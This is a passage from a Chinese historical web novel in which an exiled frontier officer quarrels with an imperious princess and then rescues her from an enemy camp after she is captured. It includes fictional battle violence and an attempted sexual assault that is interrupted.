“娘,他们的是哥哥上头的官吗?”
眼睛虽然看不见,但耳朵可灵敏的彩儿,自然是察觉到了何家大院发生的变故。
“住嘴!”
脸上闪过一丝惊慌的叶刘氏,冲着彩儿愠色说道:“记住娘的话,别说东道西的,今日起,就当自己是个哑巴好了。”
“娘!”
彩儿一急,眼泪就滚落了下来,抽泣道:“我要见哥哥,彩儿知道哥哥还没走,是他们欺负哥哥。”
“闭嘴!”
这下,叶刘氏更加愤怒了,一只手直接按住彩儿的嘴,低声骂道:“要是不想害死你哥哥,就当自己是个哑巴,娘的话你得记住了,别问为什么!”
“彩儿,听你娘的话,记住祸从口出,从今起,更不要到处乱跑,就在这后院待着好了。”
叶举也是一脸惊慌,焦急地规劝着不明就里的彩儿。
对此一头雾水的蔡一,根本不敢插嘴问话,只是默默地整理着搬进后院的东西。
第113章 刚见面,先舌战
香香郡主没恼,倒是苏哲受不了了。
苏哲冲进门来,怒道:“跪下,向郡主磕头谢罪!”
叶十三就像没听到苏哲的怒斥,目光一直停留在香香郡主的脸上,缓缓又道:“以郡主的千金之躯,住这里还真不合适。”
“本郡主受命于朝廷,监督北防军一应军务,置身一线防区,这有何不妥?”
香香郡主反唇相讥,一句反驳就扔了过来。
叶十三笑笑,道:“边区之大,防区之多,难道郡主都能亲身体会到利弊不成?”
“还真让你给说对了!”
香香郡主与叶十三四目相对,冷声又道:“明日起,本郡主要走遍所有防区,巡查北防军一应防务部署。”
“倒是你,对本郡主横加阻拦,到底是何居心?”
说完,香香郡主眉头一挑,厉声就是一句反问。
“末将别无他意,只是对郡主的安危考虑!”
“本郡主的安危?”
“没错,在黄羊岘防区,末将就得对郡主的安危负责!”
“本郡主偏不信这个邪,我倒要看看,这边城之地的百姓,是如何个水深火热之法?”
此言一出,叶十三懂了。
这个狗屁郡主,还真是来找茬挑刺的。
针对北防军,其实就是向镇北王开刀。
果然没错!
香香郡主转头喝了一口茶水,突然问道:“你是吕南庭的人?”
“吕南庭是谁?”
叶十三一愣,装作什么都不知道。
“吕南庭就是镇北王。”
“镇北王又是谁?”
“镇北王就是吕南庭。”
“哦!”
叶十三好像明白了点,恍然大悟道:“难怪末将去军部没有见过这个人,认不得他也不足为怪。”
“镇北王他不在边城,他在京都。”
“我就说嘛!军部的那几位大人,我都面熟,原来这镇北王他不在边城啊?”
叶十三颠三倒四,竟然和香香郡主泡起了蘑菇。
只见香香郡主一张粉脸怒意又起,咬着牙说道:“本郡主真怀疑岳佟的识人能力,就你这样的货,能胜任防区的千户统兵一方?这简直是拿边城百姓的福祉,拿戍边兵士性命当儿戏。”
第114章 你敢造反?
叶十三的这一拨,苏哲心头却被惊起了滔天骇浪。
“你敢……”
“退下!”
苏哲大惊之下,正欲挥刀再上,却被香香郡主一声厉斥喝退。
香香郡主把目光,再一次投向叶十三脸上。
“喂不喂马倒是其次,关键你的那些人得离开何家大院,本郡主有的是卫兵,不需要他们在本郡主眼前晃悠倒人胃口。”
“末将遵命!”
叶十三抱拳一礼,然后躬身退了出去。
就在叶十三快速退出正屋的时候,香香郡主脸上又浮起一丝愠色。
这狗东西!
腿脚如此麻利,根本不像是训练被摔坏了膝盖的样子?
此时,叶十三已经来到院中。
“吴六子听令,留下马成一人,你们去后院带上我的家人,速回黄羊岘。”
“嗯!”
吴六子点点头,表示知道该如何去做。
不一刻,叶刘氏牵着彩儿的一只手,蔡一和叶举提着两只包裹,跟在探马们的身后,就要走出何家大院的时候,香香郡主从正屋里出来,一脸寒意地望向这边。
“是我让她们走了吗?”
香香郡主突然开口,这让叶十三心头顿时一凛。
“启禀郡主,末将家人,留在此地无多益处,还是回原住地较为合适”
“奴籍的家人,还是奴籍,既然是奴籍,理应苦役为主,何来贪图安逸的资格?”
香香郡主骤然变脸,厉声呵斥叶十三徇私枉法。
闻言之下,叶刘氏浑身一抖,拉着彩儿的手就地跪了。
“恳请郡主恕罪,只因罪妇一时糊涂,此事与我儿无关,还请郡主大量,放过我儿一马。”
面对叶刘氏的跪求,叶十三心如刀绞,把拳头握得“叭叭”直响。
“哼!”
香香郡主倒背着两手,在正屋的廊檐下来回踱步,寒着一张脸冷声又道:“本郡主念你年老体弱,就不严加责罚,带着你的瞎子女儿滚回后院去。”
此言一出,心碎一地的叶十三,傲然转身,目光冷冷看向香香郡主,沉声道:“谁敢为难我的家人,先问问我手中的刀答应不答应?”
此言一出,冲偏院冲出几十名卫兵,手持刀枪,团团将叶十三围了起来。
香香郡主嘴角浮起一丝轻蔑的笑意,目光一瞥叶十三几个,淡淡说道:“你敢造反?”
一顶“造反”的大帽子,随即就扣叶十三头上。
“儿啊!”
跪在地上的叶刘氏,哭喊着爬了过来,双手颤抖着抱住叶十三的腿,恳求道:“你就听娘的话吧!要是不听娘的话,娘一头撞死在你面前。”
“哥哥,娘说得对,要以郡主大人唯命是从,彩儿求你了。”
顺着叶刘氏的声音,跪在地上的彩儿,也一路摸着爬了过来,抱住叶十三的另一条腿,仰着一张惨白的小脸就哭了起来。
一阵战栗过后,叶十三缓缓收回已经伸向那把残刀的手,弯下腰来,把叶刘氏和彩儿从地上扶了起来。
“儿啊!就听娘一次吧!”
“哥哥,娘的话没错,彩儿和哥哥都得听。”
只有叶举一脸沮丧,伏在地上心如刀割。
蔡一跪在地上,双手紧紧地护着眼前的包裹,吓得大气都不敢出一口。
“娘,我听您的。”
叶十三咬着牙,强按着心中爆棚的杀机,把叶刘氏和彩儿紧紧地拥进怀里。
“行了!”
廊檐下的香香郡主,一脸傲气地看向叶十三,以胜利者的口吻说道:“本郡主就索性再网开一面,马就不用你来喂了,让那个老东西给替你给本郡主喂马,你可以带着你的人滚蛋了!”
香香郡主一指地上低头跪着的叶举,霎时就改变了主意,决定放叶十三回去。
叶十三松开拥进怀中的叶刘氏和彩儿,缓缓把脸转向香香郡主,面无表情地淡淡说道:“末将遵命!”
在带着马成他们转身离开何家大院的时候,叶十三又转过头来,盯着一脸得意的香香郡主,又道:“我娘她们要是少一根汗毛,我就将何家大院变成人间地狱。”
出了何家大院,叶十三抬头看看天空,惊道:“天色不好,可能有大雪降下,抓紧时间回岘口部署防御。”
话音一落,探马们马鞭一扬,胯下的战马嘶鸣一声,扬起一股烟尘,急匆匆离开了芦河湾村……
这一夜,叶十三辗转反侧。
没有丁点睡意的他,发现外面已经飘起了雪花。
此时,借着灯笼的光晕,叶十三看到,营房院子里已经是白茫茫一片。
“马成,即刻传令下去,各烽火台进入甲级战备。”
马成闻声赶来,此时天还没亮。
“大人,下雪了。”
“下雪最危险,鞑子等的就是一场大雪。”
叶十三披上衣服,下了炕自己把牛粪火拢了起来。
“你通知吴六子,让他把探马分头派下去,所有的烽火台,驻军大营,务必进入甲级战备。”
“还有,跑一趟屯田村,派几名军户,把剩下的一百套革甲和兵器,火速送往西河镇沙柳滩村驻军大营。”
本小章还未完,请点击下一页继续阅读后面精彩内容!“小的遵命!”
马成神色一凛,拱手一礼后速速离去。
“老子就等着你们来了!”
叶十三把两只手,伸在牛粪火上烤着,嘴里自言自语个不停。
“来一个,老子杀一个。”
“来两个,老子杀一双。”
“什么镇北王,什么肃王,在老子眼里,只有能砍鞑子脑袋的刀才是王!”
“率土之滨,莫非王臣,你们都是享受着荣华富贵的王臣,老子是个被遭贬充军的奴籍。”
“普天之下,莫非王土,大夫不均,天道无仁,老子我要自谋生路。”
叶十三骂骂咧咧,起身从一只瓦瓮中,摸出一只黑面饽饽,在牛粪火上烤得焦干,然后,就着半壶刚温过的隔夜茶就啃食起来。
“他娘的!”
难以下咽的黑面饽饽,让他后悔没从何家大院再运些粮食出来。
那些舍不得分下去的粮食,现在倒好,让香香郡主和她的卫兵们肆意消耗了。
享用惯了锦衣玉食的香香郡主,就连边城视为最奢侈的牛羊肉,她都嫌腥膻骚臭,这要是光吃白面粳米,还不从粮食中摘了芯子吃?
想想拐着一只脚的老娘,和双手乱摸不能识物的瞎眼妹妹,此时都要供这个飞扬跋扈的郡主奴役。
“郑香逸,你给老子等着!”
“胆敢折磨凌辱老子的家人,老子非活剥了你的皮做鼓敲不可。”
“最好是给老子人道一些,就是奴籍,那也是一条人命,容不得你肆意妄为。”
就在叶十三自言自语咒骂不停的时候,营房院子里人声和马叫声响成一片。
探马们早已带着干粮,分头去各烽火台传令。
面对四野白茫茫的大雪,叶十三立刻在辖区展开全盘的防务部署。
直到午后时分,才忙完所能想到的应对措施,外出传令的探马们,也都陆续回来复命。
就在这时候,屯田村的方向,一队兵马扬起一阵积雪,向营房这边狂奔而来。
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第115章 郡主她,被鞑子掳走了
“千户大人,不好了!”
冲在最前面的,叶十三认得出来,是留在何家大院看守屯粮的一名田兵。
坏了!
何家大院出事了?
随着田兵一起来的,却是香香郡主身边的那个骠骑校尉苏哲。
鲜衣怒马的卫兵们,也都一起来了。
糟了!
莫不会的家人出事了?香香郡主派兵来抓他?
不料,马队一到营房门口,首先跳下马的却是苏哲。
苏哲紧跑几步,到了营房门口,“扑通”一声就在院子的雪地上跪了。
草!
这太阳从西边出来了?
“千户大人,你快想想办法,郡主她……”
“郡主怎么了?”
叶十三一阵头大,目光冷冷看向眼前一脸不安的苏哲。
就是鞑子来犯,也无法直接到达芦河湾村啊!
这中间一头隔着野驴滩村,另一头还隔着落雁坡村。
而且,落雁坡村还有蔡云带着的两三百驻军。
“郡主……郡主她……被鞑子……掳走了……”
“什么?”
叶十三闻言,当场就炸了。
“是的大人,香香郡主外出打猎,在野驴滩村的外围,遇上鞑子……”
惊慌失措的苏哲,已经说话都不利索了,带路的田兵向叶十三继续陈述了一遍事情的经过。
“昨夜突降大雪,郡主兴奋不已,非要嚷嚷着去打猎。”
“说下去!”叶十三眉头一皱。
缓了口气的田兵,脖子一伸又说起来。
“郡主就带了四名卫兵,不让所有人马跟着,说人多了会破坏雪景扫了兴致。”
“结果,在野驴滩地界,郡主射伤了一只毛色火红的狐狸,带着箭的狐狸,一路逃向元蒙方向……”
“成了!”
叶十三一阵头大,摆手打断田兵的叙述,转头向吴六喊道:“拿我的刀来,跟我去一趟事发地。”
刚回到营房的吴六子,正好马鞍都没卸下,立刻就拿着叶十三的那把残刀,牵了马过来。
叶十三一瞥远处,又道:“把李狗子也带上。”
在等李狗子的片刻,叶十三抽出了刀,从地上抓了一把积雪,开始擦拭刀身。
当苏哲的目光,看到叶十三手中的刀时,不禁眉头一皱。
“叶大人,我这刀你给你暂用。”
苏哲解下自己的佩刀,双手捧着递向叶十三。
骠骑校尉的刀,可真漂亮。
流畅华丽的刀鞘,雕刻着精美的纹饰。
尤其是露在刀鞘外面的握柄,还镶嵌着五颜六色的宝石。
“哼!”
叶十三鼻孔冷哼一声,轻蔑说道:“中看不中用的玩意儿,还是留着你自己用吧!”
“叶大人,这可是把宝刀啊,是当年……”
“行了!”
望着急于辩解的苏哲,叶十三不屑地撇撇嘴,道:“说得再好听,也没砍下鞑子的半个脑袋来,反而让鞑子掳走了郡主。”
“叶大人……”
苏哲面上一红,低头说道:“郡主不听劝阻,追着那只受伤的狐狸,不小心就越过了边境……”
“啊……”
这下,该叶十三吃惊了。
擅自越境,要是不听劝告,同行的人都可射杀越境者。
可是随从的卫兵,谁敢射杀他们自己保护的郡主?
吃惊之下,叶十三目光冷冷看向苏哲,沉声道:“既然如此,你不去向军部禀报,让大人们上书朝廷和元蒙方面斡旋,却跑我这营房何干?”
“再说,郡主偷越国界,此事已经是两国邦交的事情,岂是我一个小小的千户能够左右的?”
叶十三声色俱厉,冲着苏哲就一通驳斥。
“叶大人……”
双手捧着佩刀的苏哲,双腿又跪了下来,低着头说道:“上报军部已经于事无补,在下知道,只有大人你才有办法。”
草!
看来老子越界杀人抢粮的那些事,这帮孙子们都知道了。
不然,一个正六品军职的骠骑校尉,如何会向他这个从六品的下千户下跪?
再说,京都来的人,都是眼高于顶,从来就没把边城的将士们放在眼里。
看来,这货不傻!
要是上报军部,首先他这个保护郑香逸的骠骑校尉,那可得砍脑袋了。
而且时间拖延久了,说不定郑香逸的一条小命早都没了。
鞑子的凶残,那是不用说的。
何况,如此美貌的女人落在他们手里,还能有个好?
既然叶十三是有过越界经历,也是杀鞑子不少的惯犯,求他,比上奏朝廷还要管用。
眼下情况紧急,也只有把一切希望,都寄托在这个奴籍身上了。
“叶大人,在下顾不得许多了,只求你出手想想办法了。”
叶十三不屑地一瞥地上跪着的苏哲,把手中的残刀插回刀鞘。
狗日的!
你不是很拽吗?
怎的?
这会在老子面前不抖威风了?
叶十三心里骂着,看见李狗子已经上马向这边过来。
“出发,野驴滩边境。”
叶十三突然暴吼一声,直奔过去飞身上马,率先冲向白雪茫茫的沙沙窝地……
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一路上,苏哲不时地回头督促卫兵们跟上。
不过,这苏哲的马术还是了得,一路紧跟在叶十三的马后不落一丈,不愧是骠骑校尉。
一个时辰过后,白茫茫的雪地上远处,出现了一些山崖的轮廓。
指着地上的马蹄印,苏哲焦急地说道:“叶大人,郡主就是从这里越界,一路追赶下去的。”
“再走几步看看!”
叶十三头也不回,催马又是一阵小跑。
直到一处山崖挡在眼前,叶十三这才翻身下马,蹲在地上查验着马蹄印。
就在这时候,吴六子带着身背一捆绳索的李狗子,迅速地攀上了不远处的山崖。
这一幕,看得京都来的卫兵们一阵咋舌。
“好身手!”
“如此厚的积雪,能淹过膝盖,他们行动居然如此敏捷。”
“看来,叶大人手下,有的是能人。”
“郡主有救了……”
一脸焦急的苏哲,跳下马来茫然地望着山崖。
不大时候,吴六子和李狗子二人猫着腰奔了过来。
“启禀大人,前面十里处,发现鞑子兵营。”
“哦!”
叶十三一怔,说道:“扎营地带,之前是处荒滩,看来,鞑子已经有所准备了。”
吴六子拿手背抹了一下额头的汗珠子,继续说道:“东北方向地形复杂,有一处叫硫磺谷的地方,乱石遍地,不宜骑行,就是步行,也是难度不小,但也是最隐秘的一处通道可达敌贼营地。”
“好!”
叶十三眼睛一亮,看看即将暗下来的天色,道:“眼下天已快黑了,今夜是有月光,只有从郡主越界的开阔地潜入,然后绕道硫磺谷撤退。”
“嗯!”
吴六子点点头,扳着手指头算了起来。
“等天完全黑下来,月亮初升之时行动,步行进入敌境,摸到鞑子军营……然后……向西北面折回,进入硫磺谷……就是鞑子追兵过来,他们也无法骑行,复杂地形,更适合我们狙击……”
“大人,如果顺利,明日天亮前,我们就可返回这里。”
吴六子经过一番计算,终于得出了大致的行动流程。
叶十三站了起来,目光一扫苏哲和那些卫兵们,沉声道:“你们,留在前面五里处山崖下等候接应。”
“叶大人,你是不带着我等……”
苏哲闻言大惊,万没想到叶十三会独闯敌营。
一阵恐惧之下,稳住了神的苏哲,咬牙又道:“请叶大人带上在下和卫兵们,趁夜一路杀过去,说不定还能……”
“行了!”
叶十三摆摆手,打断苏哲后面要说的话,沉声又道:“这是越界偷袭,你以为是赶大集进馆子不成?”
说完,叶十三把目光投向吴六子,道:“弃马步行,到敌营一里处,你带李狗子进入东区外围,我自个进入西区内部……”
此言一出,苏哲差点被当场吓尿,瞠目结果说不出话来。
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第116章 你这是何等居心?
弃马步行?
在淹没膝盖的积雪中,步行十里,而且孤身潜入敌营?
再是骠骑校尉,面对叶十三的如此部署,也不由得被惊出一身冷汗。
这个奴籍,也真是胆大包天,那可是鞑子的军营,不是牧场。
无论是两军对垒,还是单兵作战,苏哲想不出来这里面有任何的胜算和优势。
“站住!”
硬着头皮站了起来的苏哲,冷冷看向叶十三,道:“叶大人,请恕在下无礼,这等战术,只能增加危险致郡主于死地,在下不能由着叶大人如此胡来。”
“哦!”
叶十三转过头来,目光灼灼看向苏哲,轻蔑道:“苏校尉如此能耐,为何不在郡主被掳的时候,率众出击把郡主给抢回来?”
“你……”
苏哲呼吸一窒,面颊一阵急抽,怒道:“当时,只有在下和三名卫兵,如何出击?”
“好啊!”
叶十三背起手来,在雪地上来回踱着步子,缓缓说道:“当时是不能,苏校尉没带足够的兵马,眼下这兵马不是都带来了,你为何还不出击?”
没等苏哲说话,叶十三轻蔑地又道:“前面开阔地适合骑行,苏校尉要是觉得兵马不够,本千户还可以回去调动两村驻军配合你越境出击。”
“叶大人……”
苏哲一脸愤怒,瞪着叶十三,道:“无论如何,在下决不容许叶大人如此鲁莽,要知道,郡主她还在鞑子手中。”
“我知道郡主在鞑子手中!”
叶十三停下了走动,傲然看向苏哲那张快要哭了的脸,又道:“既然如此,苏校尉赶快杀过境去,把郡主给救回来啊!”
“你不是郡主的护卫吗?郡主的安危,难道你视若无睹?”
叶十三说完,又补了一句。
也是正因为这补刀的一句,让苏哲顿时勃然大怒。
“叶十三,你要清楚,这一带可是你负责的防区。”
“我的防区?”
叶十三闻言,眼中寒芒顿起,厉声道:“这野驴滩也好,芦河湾村也罢,都是本千户辖下的防区,可本千户让郡主越界狩猎了?”
“是本千户授命鞑子掳走郡主了?”
叶十三又是一句补刀。
“你……”
苏哲的一张脸,霎时就让叶十三怼得像猪肝一样。
“滚!”
叶十三突然暴吼一声,指着苏哲的鼻尖骂道:“你身为郡主的护卫长,眼看着郡主越过边境而无有效阻拦,就凭这一点,按大夏律,本千户就可砍你的脑袋。”
“再是郡主刁蛮任性,已经让敌贼掳走,你身为护卫长,屌毛本事没有,跪求本千户面前,而本千户正欲营救之时,你却指手画脚百般阻拦,你这是何等居心?”
“看看!”
叶十三把目光,又投向五十名鲜衣怒马的护卫,怒道:“一个个就像要见丈母娘的女婿,就差涂脂抹粉上青楼卖沟子了,哪像是一个铁血战士的模样?”
在叶十三的一连串驳斥之下,苏哲猪肝似的脸上,已经汗如雨下。
“在下……”
一阵慌乱之下,苏哲又说不出一句完整的话来。
“滚开!”
叶十三又是一声暴喝,背着手怒道:“胆敢再拦着本千户的道,老子手的刀,让你等给郡主殉葬!”
这话不假,让在场的卫兵们心头重重一震。
自郡主被掳后,他们才从田兵口中得知,叶十三凭着手中一把破刀,曾经砍下过上百个鞑子的脑袋。
五十名卫兵自觉地让开一条道来,眼睁睁看着叶十三带着两名兵卒,向元蒙方向步行而去……
看到叶十三的背景,在夜色中不见,呆愣半天的苏哲,冲着卫兵们大吼一声。
“都愣着干嘛?”
大手一挥,指着叶十三方才说过的方向,又吼道:“跟着老子,去前面指定地点接应叶千户。”
……
月光如洗,白雪如银。
三个黑点,就像野兔一样,越过边境线,在厚厚的积雪中向鞑子驻军的营地狂奔而去。
就在离鞑子营帐不远时,三个黑点聚集在一起,片刻后又分散开来。
两个黑点向营帐的东面而去,另一个黑点,却绕到营帐西面后突然隐而不见。
鞑子的营地,毡帐连着毡帐,此时各毡帐内灯火通明。
“嗯哇……嗯哇……”
突然,营地的东侧,一阵类似婴儿的啼哭,清晰的传入毡帐。
“有野兔?”
一名饮酒饮得满脸通红的鞑子,竖起耳朵静听片刻。
“这场大雪,覆盖得夜间觅食的野兔都找不到枯草了。”
“嗯哇、嗯哇……”
就在毡帐内几个饮酒是鞑子,都竖起了耳朵,屏住了呼吸捕捉着外面动静的时候,野兔的叫声,此时越来越密集起来。
“还真是野兔,数量还不少?”
“他娘的,如此深的积雪,哪有枯草杆让它吃?”
“看来,这些畜生都饿极了!”
“好事啊!”
一名高个鞑子,放下手中的酒碗,凑上脑袋说道:“牛粪火上烤兔肉,那多过瘾?”
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另一名矮胖的鞑子,顿时来了精神,凑上来说道:“外面月光明亮,积雪又深,逮几只野兔还不简单?”
“是啊!雪都到膝盖了,野兔哪里还跑得动?”
“嗷……”
就在毡帐内的鞑子们兴奋起来的时候,外面又是一阵狐狸的叫声传入耳中。
“不好,有狐狸!”
“惊慌什么?狐狸本来就是夜间觅食的。”
“老子不是怕狐狸,是怕狐狸吃了野兔,我们还逮个俅?”
“快,把狐狸赶跑,或者弄死几只狐狸剥狐皮也好,再逮几只兔子烧烤了下酒。”
有人提议,就有人响应。
酒气冲天的几个鞑子,纷纷穿起皮袍,拿着兵器就直奔毡帐外面。
这时候,其他几个毡帐内,也有人听到了野兔和狐狸的叫声。
这些鞑子目的都一样,逮野兔下酒。
突然,野兔和狐狸的叫声,猛然间远了许多。
“快追!”
高个鞑子看着远处,高喊道:“别让狐狸把野兔追散了,要是野兔跑掉了,我们还逮个俅!”
这一声喊,十几个鞑子一起向远处跑去。
野兔的叫声忽而密集,忽而稀疏。
不觉中,在雪地上狂奔的鞑子们,很快就离开了营帐一里多远。
吴六子就像一只狸猫,把身子埋进厚厚的积雪中,嘴里不断交替着发出野兔和狐狸的叫声。
这时候,在月光下狂奔着的鞑子,离吴六子越来越近。
“狗子,要是没把握射咽喉,就射心窝。”
“好!”
吴六子身边一丈远的积雪中,胳膊粗壮的李狗子,早已把一支强弩的弓弦,拉得“吱吱”作响。
五十步,四十步,二十步……
“铮……嗖……”
一阵弓弦发出琴音一样的抖动声中,一支弩箭就像流星一样疾射而出,瞬间就消失在高个鞑子的胸口。
高个鞑子庞大的身躯,在狂奔中一头栽倒在雪地上。
“哈哈哈……”
一阵狂笑又传了过来,紧接着,又有一名鞑子大笑着奔了过来。
“铮……”
“嗖……”
又是一声弓弦发出的琴音,又有一支弩箭,从狂笑着的鞑子咽喉一隐而没。
狂奔中鞑子的躯体,又是无声地倒在厚厚的雪地上,连一声“扑通”的倒地声都没发出。
本来在积雪中狂奔的鞑子们,自打出了毡帐奔跑的时候,跌倒那是常有的事。
没有人在意谁又摔了一跤。
不断有鞑子奔了过来,更不断有鞑子,闷哼一声后倒地不起……
与此同时,在营帐的西区,却又是一番景象。
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第117章 李狗子听令,打晕了扛着走
《充军之奴》117
“大夏的女人真美!”
一名喝得面红耳赤的鞑子,敞开的衣领下露着黑森森的胸毛,一双赤红的眼睛,饿狼一样紧盯着被背绑着双手的香香郡主。
“吃了豹子胆了?敢闯我们的地盘?”
鞑子一脸淫邪,哈喇子都差点流了出来。
“你,不要过来!”
被吓得华容失色的香香郡主,极力地蹬着双腿,向毡帐的角落蜷缩着。
“小美人,既然落到了老子手里,那就让老子好好消受一番。”
鞑子边往前走着,边脱着自己身上的皮袍。
另外几个喝得东倒西歪的鞑子,也从地上爬了起来,睁着一双双赤红的眼睛,纷纷向角落里的香香郡主走了过去。
“天赐尤物啊!看你往哪儿躲?”
“乖乖的爬过来,让大爷们好好享受享受!”
“这么水灵的妞儿,味道一定不错。”
一名鞑子已经凑到了香香郡主的面前,闭起眼睛使劲地耸着鼻子。
“好香的女人,今天就让大爷我先快活快活!”
“都别抢,让老子先来,还是老子的套马杆,把她给弄下马来的。”
“不要,别过来!”
此时的香香郡主,眼里尽是恐惧和绝望,惊叫道:“你们可知道我是什么人?”
这蠢货,生怕别人不知道她是谁?
在敌贼手里,还要炫耀自己的身份。
“管你是谁?”
一名粗壮的鞑子,一把拽过香香郡主的一只脚来,几乎把香香郡主给倒提了起来。
“老子眼里,你就是个女人,女人就是用来伺候男人的。”
“是啊!吓唬谁?你就是天王老子,落在老子的手里,你就是一只两脚肥羊,老子想睡就睡,睡够了就杀!”
“还杀个屁!”
一名鞑子大嘴一咧,坏笑道:“就这细皮嫩肉的,伺候完我们几个,还不没命了?”
“是啊!大夏的女人,娇嫩着呢,哪有我们元蒙的婆娘皮实。”
在鞑子们七嘴八舌的嬉笑中,一名鞑子抓住了香香郡主的另一只脚,直接就把香香郡主给拉成了一个“大”字。
“求你们干脆杀了我,也好在你们的汗王那里领赏。”
香香郡主在这些如狼似虎的鞑子手里,双手被绑在身后的她,居然没有一丁点的反抗之力。 “大夏女人的脚都这么香!”
一名鞑子,已经拽掉了香香郡主脚上的一只靴子,陶醉地把脸贴了上去。
“不要啊!”
香香郡主就像被火炭烫着了一样,惊叫着使劲地想抽回自己的脚。
但她的气力,在这些彪悍的鞑子面前,一切抗争都是白搭。
“叫喊什么?”
另一名拽着香香郡主另一只脚上鞑子,顿时沉下脸来怒斥道:“你真以为大爷们傻?就你身上的战甲,也不是普通人能穿的,还有你那把镶嵌着宝石的剑,足矣证明你不是个普通的将领,老子先玩死你,然后拿着你的剑和战甲,再去汗王面前领赏也不迟。”
“刺啦!”
一声锦帛被撕裂的刺耳声响起,被解开的钢丝软甲下,香香郡主的丝质棉衣,已经被一只大手撕开,香香郡主白雪一样的胸脯,霎时就暴露在四个鞑子的面前。
四双饿狼一样的眼睛,霎时就紧盯着香香郡主身体裸露的部位。
已经有不止两只手,急不可耐地伸了上去。
就在这千钧一发的时候,毡帐中矮桌上,几支燃得正旺的羊油巨烛突然一起熄灭。
“噗……噗……”
紧接着,一阵锐器刺入肉体的声音,不断地在黑暗中响起。
“扑通……扑通……”
又是几声闷哼过后,接着就是重物不断倒地的声音。
一股令人作呕的血腥味,霎时就在黑暗中弥漫开来。
同时,快要被惊吓得昏死过去的香香郡主,突然觉得两只脚腕一轻,几乎被拉直了的身子,也一下子掉在地上。
黑暗中,忽然觉得有一双大手摸了过来。
紧接着,她的身躯被那双大手拦腰举起,然后被人扛在了肩上。
扛着她的人,顺手拿过被扔在一旁的那把镶嵌着宝石的剑,然后就摸到毡帐的出口。
“刺啦!”
一支已经熄灭的羊油巨烛,蒙脸黑影的另一只手中,重新被燃起。
在一瞬间的亮光中,已经肝胆惧裂的香香郡主,突然看到毡帐内,已经倒着四具脖子,或者胸口正向外狂喷着人血的鞑子尸体,
肩上扛着香香郡主的黑影,顺手把燃着的羊油巨烛,扔到毡帐中的一堆被褥上。
看到火焰在被褥上腾起,黑影扛着香香郡主一转身就出了毡帐,开始在月光下的雪地上狂奔起来。
身后鞑子的毡帐,霎时间就燃起了熊熊火光。
“着火啦!”
“快救火,西营失火!”
霎时间,鞑子驻军的营帐,已经陷入一片火海。 黑影就像一只野兔,在没膝的积雪中一路狂奔而去。
不大时候,不远处突然出现了两个黑点。
“喳……喳喳……喳喳喳……”
一阵喜鹊的叫声,立刻就从两个黑点处传了过来。
这冰天雪地的月夜,还有喜鹊出没?
肋骨差点被黑影的肩头,给硌折了的香香郡主,双手被绑在身后的她来不及多想。
片刻间,远处的两个黑点,变成了两个站立在雪地上的人。
一高一低,一胖一瘦,二人朝着黑影飞奔过来。
“狗子,接力。”
瘦小的一人,向身边高大魁梧的人发了话。
扛着香香郡主的黑影,也开口说道:“快,西南方向,硫磺谷,不然我们跑不过鞑子的战马。”
此言一出,被硌得肋骨生疼的香香郡主,在黑影都肩上差点石化。
是叶十三?
没错,这声音,的确是叶十三不假。
“混蛋,快放我下来!”
香香郡主一声尖叫,两条腿就乱蹬个不停。
“扑通!”
黑影一松手,直接把肩上扛着的香香郡主,给扔在厚厚的雪地上。
“自己走吧!”
“我的靴子?我一只脚还光着,如何在雪地行走?”
在雪地上不断扭动着的香香郡主,怒声质问叶十三一句。
“李狗子听令,背上她,再不走就来不及了。”
还真是叶十三。
他回头望了一眼远处火光冲天的地方,然后催促大家向西南方向撤退。
“不!”
香香郡主手上的绳子,已经被吴六子用匕首割断。
不停地揉搓着两只手腕的香香郡主,金鸡独立一样悬提着一只光脚,在雪地上不停地蹦跳着防止自己再次跌倒。
“不,我就要让你背着。”
香香郡主尖叫不停,一只脚在雪地上继续跳个不停。
叶十三眉头一皱,沉声道:“李狗子听令,打晕了扛着走。” “你……”
一只光脚刚落地,又被冰冷的积雪,激得又悬提了起来的香香郡主,狠声道:“你给我等着,到时候再收拾你。”
说完,一只脚在雪地上跳前两步,把双手搭在李狗子已经弯了下来的肩膀上。
第118章 大人,小的背不动了
雪地上狂奔的三人,瞬间又成了三个黑点。
“大人,小的背不动了!”
喘气如牛的李狗子,奔跑的速度立刻就降了下来。
“不让你背,你非要背。”
香香郡主一阵得意,嘲讽道:“这下,是你自讨苦吃。”
“扔了,我们走。”
叶十三停了下来,转头就是一句。
“你敢!”
爬在李狗子背上的香香郡主,霎时与叶十三怒目相对,愠怒道:“我可是郡主,想清楚了再说?”
“不用自我介绍,我不是元蒙鞑子,知道你是郡主。”
叶十三脖子一梗,一句就怼了过去。
吴六子伏在雪地上,把一只耳朵埋进雪中,急道:“大人,有马蹄声,鞑子追过来了。”
“给我!”
叶十三眉头一挑,把后背朝向李狗子。
“这还差不多!”
香香郡主迫不及待地伸过两只手,身子向前一倾又一纵,就麻利地趴在叶十三背上。
“走啊!”
香香郡主双腿在叶十三的腰间一夹,催促道:“还不走,难道等本郡主拿马鞭抽你?”
抽你娘的蛋!
把老子当战马了?
叶十三肚里暗骂一声,双手往身后一弯,拖起香香郡主的屁股,然后继续奔跑起来。
在不断的颠簸中,香香郡主不断下坠的屁股,不时地被叶十三的手从屁股沟向上扶着。
一股羞愤,霎时就涌了上来。
香香郡主极力地让自己的身子向上趴着,不让屁股坠下去被叶十三的两只手托着。
此时,前面不远处,犬牙交错的一道黑色屏障,隐约出现在眼前。
“大人,硫磺谷的入口就在前面。”
“好!”
叶十三上身前倾,使劲地把背上的香香郡主往上掂了掂,咬着牙吃力说道:“加把劲,进了硫磺谷,鞑子的战马就用不上了。”
此时,已经有隐约的马蹄声,在雪地上踩踏出沉闷的声音。
叶十三越跑越吃力,从头发中渗出的汗珠子,一股脑儿地灌向衣领。 “好难闻啊!”
叶十三背上的香香郡主,一只手捏着鼻子,嘟囔道:“一股子汗臭味,你多久没洗澡了?”
洗澡?
洗你娘个蛋!
你以为这是内地?
边城的冬天,撒泡尿都能冻成冰柱,老子哪有条件三天两头洗澡?
肚里骂个不停的叶十三,差点就把香香郡主给扔下来。
“哎呀!”
突然,香香郡主身子猛然一扭动,使劲地向上爬了爬,低声羞怒道:“你的狗爪子往哪儿放?等回去后,本郡主非给你剁了不可。”
这妞!
还真有弹性!
叶十三嘴角扬起一丝坏笑,吃力地把背上的香香郡主,又向上掂了掂。
不料,这一笑,嘴角一张,一股带着汗臭的汗水,就从自己的脸上流进嘴里。
“呸!”
叶十三张口,就唾了一口流进嘴中咸臭的汗水。
“你唾谁?”
不料这一唾,背上的香香郡主又雷霆大发,暴怒道:“等回去后,本郡主先割了你的舌头,再剁了你的两只狗爪。”
吓唬你娘个蛋!
